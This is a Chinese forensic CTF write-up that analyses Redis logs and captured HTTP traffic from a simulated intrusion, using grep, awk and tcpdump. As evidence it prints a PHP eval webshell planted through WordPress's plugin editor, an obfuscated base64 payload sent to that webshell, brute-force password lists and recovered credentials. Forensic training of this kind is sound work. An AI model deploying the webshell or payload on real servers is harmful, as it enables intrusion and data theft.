WriteUps
信息安全鐵人三項(xiàng)賽總決賽總結(jié)(企業(yè)賽)
信息安全鐵人三項(xiàng)賽總決賽(數(shù)據(jù)賽)第二題
信息安全鐵人三項(xiàng)賽總決賽(數(shù)據(jù)賽)第三題
信息安全鐵人三項(xiàng)賽總決賽(數(shù)據(jù)賽)第四題
- redis 監(jiān)聽端口號(hào)
redis ?? grep -n ' port ' ./redis.log
25:[983] 05 Sep 12:00:02.029 * The server is now ready to accept connections on port 8889
答案 : 8889
- redis 第一個(gè)客戶端鏈接的時(shí)間
redis ?? grep -v -n '0 clients connected' redis.log
1:[983] 05 Sep 12:00:02.028 * Increased maximum number of open files to 10032 (it was originally set to 1024).
2: _._
3: _.-``__ ''-._
4: _.-`` `. `_. ''-._ Redis 2.8.19 (00000000/0) 64 bit
5: .-`` .-```. ```\/ _.,_ ''-._
6: ( ' , .-` | `, ) Running in stand alone mode
7: |`-._`-...-` __...-.``-._|'` _.-'| Port: 8889
8: | `-._ `._ / _.-' | PID: 983
9: `-._ `-._ `-./ _.-' _.-'
10: |`-._`-._ `-.__.-' _.-'_.-'|
11: | `-._`-._ _.-'_.-' | http://redis.io
12: `-._ `-._`-.__.-'_.-' _.-'
13: |`-._`-._ `-.__.-' _.-'_.-'|
14: | `-._`-._ _.-'_.-' |
15: `-._ `-._`-.__.-'_.-' _.-'
16: `-._ `-.__.-' _.-'
17: `-._ _.-'
18: `-.__.-'
19:
20:[983] 05 Sep 12:00:02.029 # Server started, Redis version 2.8.19
21:[983] 05 Sep 12:00:02.029 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
22:[983] 05 Sep 12:00:02.029 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
23:[983] 05 Sep 12:00:02.029 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
24:[983] 05 Sep 12:00:02.029 * DB loaded from disk: 0.000 seconds
25:[983] 05 Sep 12:00:02.029 * The server is now ready to accept connections on port 8889
559:[983] 05 Sep 12:45:28.210 - Accepted 192.168.20.181:49161
560:[983] 05 Sep 12:45:32.251 - 1 clients connected (0 slaves), 773072 bytes in use
561:[983] 05 Sep 12:45:37.417 - 1 clients connected (0 slaves), 773072 bytes in use
562:[983] 05 Sep 12:45:42.532 - 1 clients connected (0 slaves), 773096 bytes in use
563:[983] 05 Sep 12:45:47.674 - 1 clients connected (0 slaves), 773096 bytes in use
564:[983] 05 Sep 12:45:52.813 - 1 clients connected (0 slaves), 773096 bytes in use
565:[983] 05 Sep 12:45:57.934 - DB 0: 1 keys (0 volatile) in 4 slots HT.
566:[983] 05 Sep 12:45:57.934 - 1 clients connected (0 slaves), 773640 bytes in use
567:[983] 05 Sep 12:45:59.011 - Reading from client: Connection reset by peer
568:[983] 05 Sep 12:46:03.072 - DB 0: 1 keys (0 volatile) in 4 slots HT.
570:[983] 05 Sep 12:46:08.217 - DB 0: 1 keys (0 volatile) in 4 slots HT.
572:[983] 05 Sep 12:46:13.350 - DB 0: 1 keys (0 volatile) in 4 slots HT.
574:[983] 05 Sep 12:46:18.486 - DB 0: 1 keys (0 volatile) in 4 slots HT.
576:[983] 05 Sep 12:46:23.619 - DB 0: 1 keys (0 volatile) in 4 slots HT.
答案 : 12:45:28.210
- 攻擊者爆破 wordpress 的次數(shù)
image.png
明顯在爆破密碼
根據(jù)源IP過濾一下
172.16.10.112
grep -C 15 -n 'POST /wp-login.php' http.txt | grep '\&pwd='
image.png
這樣可以過濾出攻擊者所嘗試的所有爆破的口令
http ?? grep -C 15 -n 'POST /wp-login.php' http.txt | grep '\&pwd=' | cat -n
1 7132-log=admin&pwd=admin&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
2 7150-log=admin&pwd=administrator&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
3 7168-log=admin&pwd=admin&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
4 7186-log=admin&pwd=admin123&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
5 7204-log=admin&pwd=weblogic&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
6 7322-log=admin&pwd=tomcat&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
7 7440-log=admin&pwd=system&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
8 7558-log=admin&pwd=welcome&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
9 7595-log=admin&pwd=jf13!)!)&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
10 7713-log=admin&pwd=welcome1&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
11 7831-log=admin&pwd=Atae123&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
12 7949-log=admin&pwd=abc!123&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
13 8067-log=admin&pwd=oracle&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
14 8185-log=admin&pwd=root&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
15 8303-log=admin&pwd=adminroot&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
16 8421-log=admin&pwd=rootadmin&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
17 8539-log=admin&pwd=123321aa&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
18 8657-log=admin&pwd=123789&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
19 8775-log=admin&pwd=987321&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
20 8893-log=admin&pwd=weakpass&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
21 9011-log=admin&pwd=axis2&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
22 9129-log=admin&pwd=test&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
23 9248-log=admin&pwd=hack1234&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
24 9366-log=admin&pwd=qwe!@#123&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
25 9484-log=admin&pwd=test0001&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
26 9602-log=admin&pwd=test0002&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
27 9720-log=admin&pwd=test0003&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
28 9838-log=admin&pwd=test0004&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
29 9957-log=admin&pwd=test0005&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
30 10075-log=admin&pwd=test0006&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
31 10193-log=admin&pwd=test0007&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
32 10311-log=admin&pwd=test0008&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
33 10429-log=admin&pwd=test0009&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
34 10548-log=admin&pwd=test0000&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
35 10669-log=admin&pwd=TEST&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
36 10787-log=admin&pwd=test123!@#&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
37 10905-log=admin&pwd=test1234!@#$&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
38 11023-log=admin&pwd=test1234!@#&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
39 11141-log=admin&pwd=apache&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
40 11259-log=admin&pwd=h3capadmin&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
41 11778-log=admin&pwd=admin123&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
42 70024-log=mtfly&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2F172.16.10.115%3A8090%2Fwp-admin%2F&testcookie=1
根據(jù)時(shí)間關(guān)系可以看到 :
總共爆破了 41 次數(shù)
用戶名為 admin
答案 : 41
- 爆破得到的 WordPress 的用戶名和密碼是什么
這個(gè)題目重要的一點(diǎn)是找到登錄成功的標(biāo)志
這里下載了 WordPress 的源碼 :
image.png
登錄成功后會(huì)存在如下標(biāo)志 :
Set-Cookie: wordpress_logged_in_*
來檢測(cè) WordPress 是否登錄成功
grep -C 16 -n 'Set-Cookie: wordpress_logged_in_' http.txt
image.png
image.png
image.png
獲取到用戶名和密碼為 :
admin/welcome // 這個(gè)不確定對(duì)不對(duì) , 好像也是對(duì)的 ?
admin/admin123
mtfly/123456
- 攻擊者使用的 webshell 的名稱是什么 ?
PS : 小Tricks
獲取所有 GET 請(qǐng)求 URL
grep -n 'GET ' http.txt | awk -F 'GET ' '{print $2}' | awk -F 'HTTP/1.1' '{print $1}'POST 請(qǐng)求
grep -n 'POST ' http.txt | awk -F 'POST ' '{print $2}' | awk -F 'HTTP/1.1' '{print $1}'
image.png
很可疑的 hello.php
image.png
可以看到 , 確實(shí)是一個(gè) webshell
答案 : hello.php
攻擊者使用的 webshell 的鏈接密碼 ?
根據(jù)第五題
答案 : m攻擊者使用了目標(biāo)服務(wù)器上的那個(gè)文件對(duì)服務(wù)器植入了 webshell ?
思路一 : 既然植入了 webshell , 那么流量里面必然會(huì)有文件名和文件內(nèi)容(可能會(huì)被編碼)
思路二 : webshell 的上傳必然是在使用 webshell 之前
在 http 的流量里面搜索一下文件名
image.png
看起來好像是通過 /wp-admin/plugin-editor.php
再看一下詳細(xì)的流量如下 :
image.png
wpnonce=68f605d683&_wp_http_referer=%2Fwp-admin%2Fplugin-editor.php%3Ffile%3Dhello.php&newcontent=%3C%3Fphp+%40eval%28%24_POST%5B%27m%27%5D%29%3B%3F%3E&action=update&file=hello.php&plugin=hello.php&scrollto=0&docs-list=&submit=%E6%9B%B4%E6%96%B0%E6%96%87%E4%BB%B6
wpnonce=68f605d683&_wp_http_referer=/wp-admin/plugin-editor.php?file=hello.php&newcontent=<?php @eval($_POST['m']);?>&action=update&file=hello.php&plugin=hello.php&scrollto=0&docs-list=&submit=更新文件
hello.php 的內(nèi)容為 :
<?php @eval($_POST['m']);?>
答案 : /wp-admin/plugin-editor.php
webshell 的內(nèi)容是什么 ?
答案 : <?php @eval($_POST['m']);?>攻擊者總共通過小馬對(duì)服務(wù)器發(fā)起了幾次請(qǐng)求 ?
http ?? grep -n 'POST /wp-content/plugins/hello.php' http.txt | wc -l
38
答案 : 38
PS :
可以通過grep -C 9 -n 'POST /wp-content/plugins/hello.php' http.txt | sed 's/%3D/=/g' | sed 's/%2F/\//g'查看小馬的所有請(qǐng)求
- 目標(biāo)服務(wù)器用戶名
根據(jù)分析小馬的第一條命令 :
m=array_map("ass"."ert",array("ev"."Al(\"\\\$xx=\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk/QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs='));\");"));
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();
調(diào)用了 php_uname , get_current_user 等函數(shù)
再結(jié)合流量詳情 :
image.png
答案 : administrator
- 攻擊者用于獲取目標(biāo)操作系統(tǒng)信息的命令是什么 ?
image.png
答案 : systeminfo
- 黑客在成功登錄phpmyadmin前手工嘗試了幾個(gè)錯(cuò)誤密碼 ?
image.png
image.png
嘗試的密碼有 :
123456
wordpress
admin
admin123
root
// 用戶名皆為 root
答案 : 4
- 目標(biāo)網(wǎng)站 mtfly 用戶在數(shù)據(jù)庫中密碼的密文是 ?
image.png
答案 : $P$BCIX.GHuePX.kNtTjEWd6QCnzYFzrT1
- 黑客修改了 mtfly 的密碼密文為 ?
image.png
- 網(wǎng)站根目錄的絕對(duì)路徑是 ?
image.png
- 黑客執(zhí)行 whomi 之后的命令是什么 ?
image.png
image.png
image.png
答案 : systeminfo
-
目標(biāo)服務(wù)器操作系統(tǒng) administrator 的密碼是什么 ?
要獲取操作系統(tǒng)明文密碼 , 猜想攻擊者會(huì)使用工具 : mimikatz
image.png
答案 : Simplexue123
黑客在 redis 服務(wù)器上下載了一個(gè)后門文件 , 請(qǐng)問下載的地址是 ?
猜想攻擊者可能直接通過tcp連接上了redis服務(wù)器
再次使用 tcpdump 來過濾出所有攻擊者和目標(biāo)服務(wù)器的8889端口的所有數(shù)據(jù)包
#!/bin/bash
target_folder='redis'
mkdir ${target_folder}
for file in `ls *.pcap`;
do
echo "Dumping redis package in ${file}..."
tcpdump -s 0 'host 172.16.10.112 or host 192.168.20.181 and port 8889' -r $file -w ${target_folder}/${file}
echo "${file} Done!"
done
似乎并沒有發(fā)現(xiàn)任何鏈接信息
- 黑客在目標(biāo)服務(wù)器上植入了一個(gè)木馬 , 木馬上線的端口是什么 ?
看到這道題 , 有兩個(gè)想法
一 : 植入了類似灰鴿子的二進(jìn)制木馬 , 需要得到木馬的二進(jìn)制文件 , 然后逆向工程進(jìn)行分析 (或者在虛擬機(jī)中執(zhí)行查看 tcp 鏈接)
二 : 利用 redis 反彈 shell , 這種情況直接查看原始的 tcp 流量即可
